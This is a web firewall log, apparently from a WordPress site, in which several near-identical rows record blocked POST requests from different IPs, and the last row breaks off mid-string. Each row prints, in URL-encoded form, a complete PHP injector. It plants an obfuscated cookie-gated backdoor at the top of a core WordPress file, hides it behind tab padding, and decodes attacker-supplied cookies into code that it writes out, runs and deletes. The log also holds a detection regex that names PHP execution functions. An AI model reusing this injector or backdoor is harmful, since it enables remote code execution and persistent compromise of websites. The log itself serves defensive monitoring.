["2026-05-12 09:47:53","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> tr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncontent-length:4329\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\ntr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:57","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> xs:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncontent-length:4329\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvrUZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nxs=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:47:59","192.3.12.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bi:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:4329\nsec-ch-ua-mobile:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nBi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%252777b04adb%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524marker%2529%2529%2520%257B%2520%2524marker%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522event_dispatcher%2522%253B%2520%257D%2520%2524descriptor%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flag%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524marker%2529%2529%2520%257B%2520%2524object%2520%253D%2520fopen%2528%2524marker%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524object%252C%2520%2524descriptor%2529%253B%2520fclose%2528%2524object%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524marker%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524marker%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522hub_center%2522%2529%253B%2520%2524factor%2520%253D%2520%252242a67eecce342b60717fd289b0a3459e%2522%253B%2520if%2520%2528%2521strncmp%2528%2524factor%252C%2520%2524flag%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522app_initializer_query_handler%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:01","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> jf:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/blocks\/query-pagination-next.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B43-43%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B80%252B-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B79%252B-76%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-2%252B6%255D%2529%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520function%2520hub_center%2528%2524k%2529%2520%257B%2520%2524flag%2520%253D%2520%2524_COOKIE%253B%2520%2524marker%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%252